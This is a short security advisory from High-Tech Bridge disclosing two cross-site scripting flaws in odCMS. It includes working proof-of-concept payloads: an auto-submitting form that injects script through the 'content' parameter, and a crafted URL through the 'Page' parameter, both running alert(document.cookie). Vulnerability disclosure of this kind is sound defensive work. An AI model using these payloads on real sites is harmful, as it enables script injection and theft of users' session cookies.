Cross-site Scripting (XSS) Vulnerabilities in odCMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in odCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in odCMS
1.1 The vulnerability exists due to input sanitation error in the "content" parameter in _main/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/_main/index.php" method="post" name="main" >
<input type="hidden" name="Update" value="content" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="filename" value="Home" />
<input type="hidden" name="Page" value="Home" />
<input type="hidden" name="header" value="Home" />
<input type="hidden" name="content" value='content"><script>alert(document.cookie)</script>' />
<input type="hidden" name="Save" value="Save" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "Page" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/index.php?Page=Home'"><script>alert(document.cookie)</script>